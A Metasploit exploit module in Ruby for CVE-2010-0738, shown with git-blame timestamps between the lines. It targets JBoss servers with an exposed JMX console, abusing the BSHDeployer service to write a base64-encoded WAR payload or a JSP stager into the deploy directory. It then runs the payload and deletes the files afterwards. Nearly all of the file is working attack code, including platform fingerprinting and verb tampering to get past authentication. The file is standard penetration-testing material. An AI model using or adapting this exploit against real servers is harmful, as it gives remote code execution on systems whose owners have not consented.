2010-06-21 16:26:14 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2010-06-21 16:26:14 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
2010-07-12 23:25:31 +00:00
|
|
|
HttpFingerprint = { :pattern => [ /(Jetty|JBoss)/ ] }
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-03-15 21:37:34 +00:00
|
|
|
'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',
|
2010-06-21 16:26:14 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module can be used to install a WAR file payload on JBoss servers that have
|
|
|
|
an exposed "jmx-console" application. The payload is put on the server by
|
2011-01-10 14:34:24 +00:00
|
|
|
using the jboss.system:BSHDeployer\'s createScriptDeployment() method.
|
2010-06-21 16:26:14 +00:00
|
|
|
},
|
2011-01-10 14:34:24 +00:00
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Patrick Hof',
|
|
|
|
'jduck',
|
2012-07-10 17:33:28 +00:00
|
|
|
'Konrads Smelkovs',
|
|
|
|
'h0ng10'
|
2011-01-10 14:34:24 +00:00
|
|
|
],
|
2010-06-21 16:26:14 +00:00
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST
|
2011-07-18 05:18:25 +00:00
|
|
|
[ 'URL', 'http://www.redteam-pentesting.de/publications/jboss' ],
|
|
|
|
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ],
|
2010-06-21 16:26:14 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
2012-10-23 18:33:01 +00:00
|
|
|
'Platform' => ['java', 'win', 'linux' ],
|
2010-06-21 16:26:14 +00:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
2012-07-10 17:33:28 +00:00
|
|
|
'Targets' =>
|
2010-06-21 16:26:14 +00:00
|
|
|
[
|
2012-07-10 17:33:28 +00:00
|
|
|
#
|
|
|
|
# do target detection but java meter by default
|
|
|
|
# detect via /manager/serverinfo
|
|
|
|
#
|
|
|
|
[ 'Automatic (Java based)',
|
2010-06-21 16:26:14 +00:00
|
|
|
{
|
|
|
|
'Arch' => ARCH_JAVA,
|
2012-07-10 17:33:28 +00:00
|
|
|
'Platform' => 'java'
|
|
|
|
} ],
|
|
|
|
|
|
|
|
#
|
|
|
|
# Platform specific targets only
|
|
|
|
#
|
|
|
|
[ 'Windows Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'win'
|
|
|
|
},
|
|
|
|
],
|
|
|
|
[ 'Linux Universal',
|
|
|
|
{
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Platform' => 'linux'
|
|
|
|
},
|
2010-06-21 16:26:14 +00:00
|
|
|
],
|
2012-07-10 17:33:28 +00:00
|
|
|
|
|
|
|
#
|
|
|
|
# Java version
|
|
|
|
#
|
|
|
|
[ 'Java Universal',
|
|
|
|
{
|
|
|
|
'Platform' => 'java',
|
|
|
|
'Arch' => ARCH_JAVA,
|
|
|
|
}
|
|
|
|
]
|
2010-06-21 16:26:14 +00:00
|
|
|
],
|
2011-07-18 05:18:25 +00:00
|
|
|
'DisclosureDate' => "Apr 26 2010",
|
2010-06-21 16:26:14 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(8080),
|
|
|
|
OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
|
|
|
|
OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
|
2012-08-15 19:46:34 +00:00
|
|
|
OptString.new('JSP', [ false, 'JSP name to use without .jsp extension (default: random)', nil ]),
|
2010-06-21 16:26:14 +00:00
|
|
|
OptString.new('APPBASE', [ false, 'Application base name, (default: random)', nil ]),
|
|
|
|
OptString.new('PATH', [ true, 'The URI path of the JMX console', '/jmx-console' ]),
|
2012-08-15 19:46:34 +00:00
|
|
|
OptString.new('PACKAGE', [ true, 'The package containing the BSHDeployer service', 'auto' ]),
|
|
|
|
OptEnum.new('VERB', [true, 'HTTP Method to use (for CVE-2010-0738)', 'POST', ['GET', 'POST', 'HEAD']])
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
datastore['BasicAuthUser'] = datastore['USERNAME']
|
|
|
|
datastore['BasicAuthPass'] = datastore['PASSWORD']
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
jsp_name = datastore['JSP'] || rand_text_alpha(8+rand(8))
|
|
|
|
app_base = datastore['APPBASE'] || rand_text_alpha(8+rand(8))
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
|
|
|
|
# Dynamic variables, only used if we need a stager
|
|
|
|
stager_base = rand_text_alpha(8+rand(8))
|
|
|
|
stager_jsp_name = rand_text_alpha(8+rand(8))
|
|
|
|
content_var = rand_text_alpha(8+rand(8))
|
|
|
|
decoded_var = rand_text_alpha(8+rand(8))
|
|
|
|
file_path_var = rand_text_alpha(8+rand(8))
|
|
|
|
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
|
|
fos_var = rand_text_alpha(8+rand(8))
|
|
|
|
|
|
|
|
|
|
|
|
# The following jsp script will write the exploded WAR file to the deploy/
|
|
|
|
# directory. This is used to bypass the size limit for GET/HEAD requests
|
|
|
|
stager_jsp = <<-EOT
|
|
|
|
<%@page import="java.io.*,
|
|
|
|
java.util.*,
|
|
|
|
sun.misc.BASE64Decoder"
|
|
|
|
%>
|
|
|
|
<%
|
|
|
|
if (request.getParameter("#{content_var}") != null) {
|
|
|
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
|
|
String #{file_path_var} = #{jboss_home_var} + "/deploy/" + "#{app_base}.war";
|
|
|
|
try {
|
|
|
|
String #{content_var} = "";
|
|
|
|
#{content_var} = request.getParameter("#{content_var}");
|
|
|
|
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
|
|
|
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
|
|
|
#{fos_var}.write(#{decoded_var});
|
|
|
|
#{fos_var}.close();
|
|
|
|
}
|
|
|
|
catch(Exception e){ }
|
|
|
|
}
|
|
|
|
%>
|
|
|
|
|
|
|
|
EOT
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2010-06-23 22:25:03 +00:00
|
|
|
p = payload
|
2012-07-10 17:33:28 +00:00
|
|
|
mytarget = target
|
2011-01-10 14:34:24 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
if (target.name =~ /Automatic/)
|
|
|
|
mytarget = auto_target()
|
|
|
|
if (not mytarget)
|
|
|
|
fail_with(Exploit::Failure::NoTarget, "Unable to automatically select a target")
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
2012-07-10 17:33:28 +00:00
|
|
|
print_status("Automatically selected target \"#{mytarget.name}\"")
|
|
|
|
else
|
|
|
|
print_status("Using manually select target \"#{mytarget.name}\"")
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
2012-07-10 17:33:28 +00:00
|
|
|
arch = mytarget.arch
|
|
|
|
|
|
|
|
# set arch/platform from the target
|
|
|
|
plat = [Msf::Module::PlatformList.new(mytarget['Platform']).platforms[0]]
|
|
|
|
|
|
|
|
# We must regenerate the payload in case our auto-magic changed something.
|
|
|
|
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
|
|
|
|
|
|
|
|
# Generate the WAR containing the payload
|
|
|
|
war_data = p.encoded_war({
|
|
|
|
:app_name => app_base,
|
|
|
|
:jsp_name => jsp_name,
|
|
|
|
:arch => mytarget.arch,
|
|
|
|
:platform => mytarget.platform
|
|
|
|
}).to_s
|
|
|
|
|
2012-07-11 16:52:09 +00:00
|
|
|
encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
if datastore['VERB'] == 'POST' then
|
|
|
|
deploy_payload_bsh(encoded_payload, app_base)
|
|
|
|
else
|
|
|
|
# We need to deploy a stager first
|
|
|
|
encoded_stager_jsp = Rex::Text.encode_base64(stager_jsp).gsub(/\n/, '')
|
|
|
|
deploy_stager_bsh(encoded_stager_jsp, stager_base, stager_jsp_name)
|
|
|
|
|
|
|
|
# now we call the stager to deploy our real payload war
|
|
|
|
stager_uri = '/' + stager_base + '/' + stager_jsp_name + '.jsp'
|
|
|
|
payload_data = "#{content_var}=#{Rex::Text.uri_encode(encoded_payload)}"
|
|
|
|
print_status("Calling stager to deploy final payload")
|
|
|
|
call_uri_mtimes(stager_uri, 5, 'POST', payload_data)
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# EXECUTE
|
|
|
|
#
|
|
|
|
uri = '/' + app_base + '/' + jsp_name + '.jsp'
|
|
|
|
print_status("Calling JSP file with final payload...")
|
|
|
|
print_status("Executing #{uri}...")
|
|
|
|
|
|
|
|
# The payload doesn't like POST requests
|
|
|
|
tmp_verb = datastore['VERB']
|
|
|
|
tmp_verb = 'GET' if tmp_verb == 'POST'
|
|
|
|
call_uri_mtimes(uri, 5, tmp_verb)
|
|
|
|
|
|
|
|
|
|
|
|
#
|
|
|
|
# DELETE
|
|
|
|
#
|
|
|
|
# The WAR can only be removed by physically deleting it, otherwise it
|
|
|
|
# will get redeployed after a server restart.
|
|
|
|
delete_script = <<-EOT
|
|
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
|
|
|
|
EOT
|
|
|
|
|
|
|
|
delete_stager_script = <<-EOT
|
|
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
|
|
new File(jboss_home + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}").delete();
|
|
|
|
new File(jboss_home + "/deploy/#{stager_base + '.war'}").delete();
|
|
|
|
new File(jboss_home + "/deploy/#{app_base + '.war'}").delete();
|
|
|
|
EOT
|
|
|
|
|
|
|
|
delete_script = delete_stager_script if datastore['VERB'] != 'POST'
|
|
|
|
|
|
|
|
print_status("Undeploying #{uri} by deleting the WAR file via BSHDeployer...")
|
|
|
|
res = invoke_bshscript(delete_script, @pkg)
|
|
|
|
if !res
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("WARNING: Unable to remove WAR [No Response]")
|
2012-08-15 19:46:34 +00:00
|
|
|
end
|
|
|
|
if (res.code < 200 || res.code >= 300)
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("WARNING: Unable to remove WAR [#{res.code} #{res.message}]")
|
2012-08-15 19:46:34 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def deploy_stager_bsh(encoded_stager_code, stager_base, stager_jsp_name)
|
|
|
|
|
|
|
|
jsp_file_var = rand_text_alpha(8+rand(8))
|
|
|
|
jboss_home_var = rand_text_alpha(8+rand(8))
|
|
|
|
fstream_var = rand_text_alpha(8+rand(8))
|
|
|
|
byteval_var = rand_text_alpha(8+rand(8))
|
|
|
|
stager_var = rand_text_alpha(8+rand(8))
|
|
|
|
decoder_var = rand_text_alpha(8+rand(8))
|
|
|
|
|
|
|
|
# The following Beanshell script will write a short stager application into the deploy
|
|
|
|
# directory. This stager script is then used to install the payload
|
|
|
|
#
|
|
|
|
# This is neccessary to overcome the size limit for GET/HEAD requests
|
|
|
|
stager_bsh_script = <<-EOT
|
|
|
|
import java.io.FileOutputStream;
|
|
|
|
import sun.misc.BASE64Decoder;
|
|
|
|
|
|
|
|
String #{stager_var} = "#{encoded_stager_code}";
|
|
|
|
|
|
|
|
BASE64Decoder #{decoder_var} = new BASE64Decoder();
|
|
|
|
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
|
|
|
new File(#{jboss_home_var} + "/deploy/#{stager_base + '.war'}").mkdir();
|
|
|
|
byte[] #{byteval_var} = #{decoder_var}.decodeBuffer(#{stager_var});
|
|
|
|
String #{jsp_file_var} = #{jboss_home_var} + "/deploy/#{stager_base + '.war/' + stager_jsp_name + '.jsp'}";
|
|
|
|
FileOutputStream #{fstream_var} = new FileOutputStream(#{jsp_file_var});
|
|
|
|
#{fstream_var}.write(#{byteval_var});
|
|
|
|
#{fstream_var}.close();
|
|
|
|
EOT
|
|
|
|
print_status("Creating exploded WAR in deploy/#{stager_base}.war/ dir via BSHDeployer")
|
|
|
|
deploy_bsh(stager_bsh_script)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
|
|
def deploy_payload_bsh(encoded_payload, app_base)
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
# The following Beanshell script will write the exploded WAR file to the deploy/
|
|
|
|
# directory
|
2012-08-15 19:46:34 +00:00
|
|
|
payload_bsh_script = <<-EOT
|
2010-06-21 16:26:14 +00:00
|
|
|
import java.io.FileOutputStream;
|
|
|
|
import sun.misc.BASE64Decoder;
|
|
|
|
|
2010-06-21 16:45:26 +00:00
|
|
|
String val = "#{encoded_payload}";
|
2010-06-21 16:26:14 +00:00
|
|
|
|
|
|
|
BASE64Decoder decoder = new BASE64Decoder();
|
|
|
|
String jboss_home = System.getProperty("jboss.server.home.dir");
|
|
|
|
byte[] byteval = decoder.decodeBuffer(val);
|
2012-07-10 17:33:28 +00:00
|
|
|
String war_file = jboss_home + "/deploy/#{app_base + '.war'}";
|
|
|
|
FileOutputStream fstream = new FileOutputStream(war_file);
|
2010-06-21 16:26:14 +00:00
|
|
|
fstream.write(byteval);
|
|
|
|
fstream.close();
|
|
|
|
EOT
|
|
|
|
|
|
|
|
print_status("Creating exploded WAR in deploy/#{app_base}.war/ dir via BSHDeployer")
|
2012-08-15 19:46:34 +00:00
|
|
|
deploy_bsh(payload_bsh_script)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def deploy_bsh(bsh_script)
|
2011-01-10 14:34:24 +00:00
|
|
|
if datastore['PACKAGE'] == 'auto'
|
|
|
|
packages = %w{ deployer scripts }
|
|
|
|
else
|
|
|
|
packages = [ datastore['PACKAGE'] ]
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
2011-01-10 14:34:24 +00:00
|
|
|
|
|
|
|
success = false
|
|
|
|
packages.each do |p|
|
|
|
|
print_status("Attempting to use '#{p}' as package")
|
2012-08-15 19:46:34 +00:00
|
|
|
res = invoke_bshscript(bsh_script, p)
|
2011-01-10 14:34:24 +00:00
|
|
|
if !res
|
2012-06-19 17:59:15 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Unable to deploy WAR [No Response]")
|
2011-01-10 14:34:24 +00:00
|
|
|
end
|
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
if (res.code < 200 || res.code >= 300)
|
|
|
|
case res.code
|
2011-01-10 14:34:24 +00:00
|
|
|
when 401
|
2012-10-24 05:44:53 +00:00
|
|
|
print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
2012-06-20 00:43:41 +00:00
|
|
|
fail_with(Exploit::Failure::NoAccess, "Authentication requested: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
|
2011-01-10 14:34:24 +00:00
|
|
|
end
|
2012-08-15 19:46:34 +00:00
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
print_error("Upload to deploy WAR [#{res.code} #{res.message}]")
|
2012-06-20 00:43:41 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Invalid reply: #{res.code} #{res.message}")
|
2011-01-10 14:34:24 +00:00
|
|
|
else
|
|
|
|
success = true
|
2012-08-15 19:46:34 +00:00
|
|
|
@pkg = p
|
2011-01-10 14:34:24 +00:00
|
|
|
break
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2011-01-10 14:34:24 +00:00
|
|
|
if not success
|
2012-06-20 00:43:41 +00:00
|
|
|
fail_with(Exploit::Failure::Unknown, "Failed to deploy the WAR payload")
|
2011-01-10 14:34:24 +00:00
|
|
|
end
|
2012-08-15 19:46:34 +00:00
|
|
|
end
|
2011-01-10 14:34:24 +00:00
|
|
|
|
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
def call_uri_mtimes(uri, num_attempts = 5, verb = nil, data = nil)
|
|
|
|
verb = datastore['VERB'] if verb.nil?
|
2012-08-02 21:33:17 +00:00
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
# JBoss might need some time for the deployment. Try 5 times at most and
|
2011-01-10 14:34:24 +00:00
|
|
|
# wait 5 seconds inbetween tries
|
2012-08-02 21:33:17 +00:00
|
|
|
num_attempts.times do |attempt|
|
2012-08-15 19:46:34 +00:00
|
|
|
|
|
|
|
if (verb == "POST")
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => verb,
|
|
|
|
'data' => data
|
|
|
|
}, 5)
|
|
|
|
else
|
|
|
|
|
|
|
|
uri += "?#{data}" unless data.nil?
|
|
|
|
res = send_request_cgi(
|
|
|
|
{
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => verb
|
|
|
|
}, 30)
|
|
|
|
end
|
2010-06-21 16:26:14 +00:00
|
|
|
|
|
|
|
msg = nil
|
2012-08-15 19:46:34 +00:00
|
|
|
if (!res)
|
2010-06-21 16:26:14 +00:00
|
|
|
msg = "Execution failed on #{uri} [No Response]"
|
|
|
|
elsif (res.code < 200 or res.code >= 300)
|
2012-08-15 19:46:34 +00:00
|
|
|
msg = "http request failed to #{uri} [#{res.code}]"
|
2010-06-21 16:26:14 +00:00
|
|
|
elsif (res.code == 200)
|
2012-08-15 19:46:34 +00:00
|
|
|
print_status("Successfully called '#{uri}'") if datastore['VERBOSE']
|
|
|
|
return res
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
if (attempt < num_attempts - 1)
|
2011-01-10 14:34:24 +00:00
|
|
|
msg << ", retrying in 5 seconds..."
|
2012-08-15 19:46:34 +00:00
|
|
|
print_status(msg) if datastore['VERBOSE']
|
2011-01-10 14:34:24 +00:00
|
|
|
select(nil, nil, nil, 5)
|
2010-06-21 16:26:14 +00:00
|
|
|
else
|
|
|
|
print_error(msg)
|
2012-08-15 19:46:34 +00:00
|
|
|
return res
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
2012-08-02 21:33:17 +00:00
|
|
|
end
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
def auto_target
|
2012-08-15 19:46:34 +00:00
|
|
|
if datastore['VERB'] == 'HEAD' then
|
2012-12-17 22:18:08 +00:00
|
|
|
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
2012-08-15 19:46:34 +00:00
|
|
|
else
|
|
|
|
print_status("Attempting to automatically select a target...")
|
|
|
|
res = query_serverinfo
|
|
|
|
if not (plat = detect_platform(res))
|
|
|
|
fail_with(Exploit::Failure::NoTarget, 'Unable to detect platform!')
|
|
|
|
end
|
2012-07-10 17:33:28 +00:00
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
if not (arch = detect_architecture(res))
|
|
|
|
fail_with(Exploit::Failure::NoTarget, 'Unable to detect architecture!')
|
|
|
|
end
|
2010-06-21 16:26:14 +00:00
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
# see if we have a match
|
|
|
|
targets.each { |t| return t if (t['Platform'] == plat) and (t['Arch'] == arch) }
|
|
|
|
end
|
2012-07-10 17:33:28 +00:00
|
|
|
|
|
|
|
# no matching target found, use Java as fallback
|
|
|
|
java_targets = targets.select {|t| t.name =~ /^Java/ }
|
|
|
|
return java_targets[0]
|
|
|
|
end
|
|
|
|
|
|
|
|
def query_serverinfo
|
2013-01-31 05:23:41 +00:00
|
|
|
path = normalize_uri(datastore['PATH'], '/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo')
|
2010-06-21 16:26:14 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
2012-08-15 19:46:34 +00:00
|
|
|
'uri' => path,
|
|
|
|
'method' => datastore['VERB']
|
2010-06-21 16:26:14 +00:00
|
|
|
}, 20)
|
|
|
|
|
|
|
|
if (not res) or (res.code != 200)
|
|
|
|
print_error("Failed: Error requesting #{path}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
res
|
|
|
|
end
|
|
|
|
|
|
|
|
# Try to autodetect the target platform
|
|
|
|
def detect_platform(res)
|
2011-04-03 17:40:45 +00:00
|
|
|
if (res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m)
|
2010-06-21 16:26:14 +00:00
|
|
|
os = $1
|
|
|
|
if (os =~ /Linux/i)
|
|
|
|
return 'linux'
|
2011-04-03 17:40:45 +00:00
|
|
|
elsif (os =~ /FreeBSD/i)
|
|
|
|
return 'linux'
|
2010-06-21 16:26:14 +00:00
|
|
|
elsif (os =~ /Windows/i)
|
|
|
|
return 'win'
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2012-07-10 17:33:28 +00:00
|
|
|
# Try to autodetect the target architecture
|
|
|
|
def detect_architecture(res)
|
|
|
|
if (res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m)
|
|
|
|
arch = $1
|
|
|
|
if (arch =~ /(x86|i386|i686)/i)
|
|
|
|
return ARCH_X86
|
|
|
|
elsif (os =~ /(x86_64|amd64)/i)
|
|
|
|
return ARCH_X86
|
|
|
|
end
|
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2010-06-21 16:26:14 +00:00
|
|
|
# Invokes +bsh_script+ on the JBoss AS via BSHDeployer
|
2012-08-15 19:46:34 +00:00
|
|
|
def invoke_bshscript(bsh_script, pkg)
|
2010-06-21 16:26:14 +00:00
|
|
|
params = 'action=invokeOpByName'
|
2011-01-10 14:34:24 +00:00
|
|
|
params << '&name=jboss.' + pkg + ':service=BSHDeployer'
|
2010-06-21 16:26:14 +00:00
|
|
|
params << '&methodName=createScriptDeployment'
|
|
|
|
params << '&argType=java.lang.String'
|
|
|
|
params << '&arg0=' + Rex::Text.uri_encode(bsh_script)
|
|
|
|
params << '&argType=java.lang.String'
|
|
|
|
params << '&arg1=' + rand_text_alphanumeric(8+rand(8)) + '.bsh'
|
|
|
|
|
2012-08-15 19:46:34 +00:00
|
|
|
if (datastore['VERB']== "POST")
|
2010-06-21 16:26:14 +00:00
|
|
|
res = send_request_cgi({
|
2012-08-15 19:46:34 +00:00
|
|
|
'method' => datastore['VERB'],
|
2013-01-31 05:23:41 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor'),
|
2010-06-21 16:26:14 +00:00
|
|
|
'data' => params
|
|
|
|
})
|
|
|
|
else
|
|
|
|
res = send_request_cgi({
|
2012-08-15 19:46:34 +00:00
|
|
|
'method' => datastore['VERB'],
|
2013-01-31 05:23:41 +00:00
|
|
|
'uri' => normalize_uri(datastore['PATH'], '/HtmlAdaptor') + "?#{params}"
|
2012-08-15 19:46:34 +00:00
|
|
|
}, 30)
|
2010-06-21 16:26:14 +00:00
|
|
|
end
|
|
|
|
res
|
|
|
|
end
|
|
|
|
end
|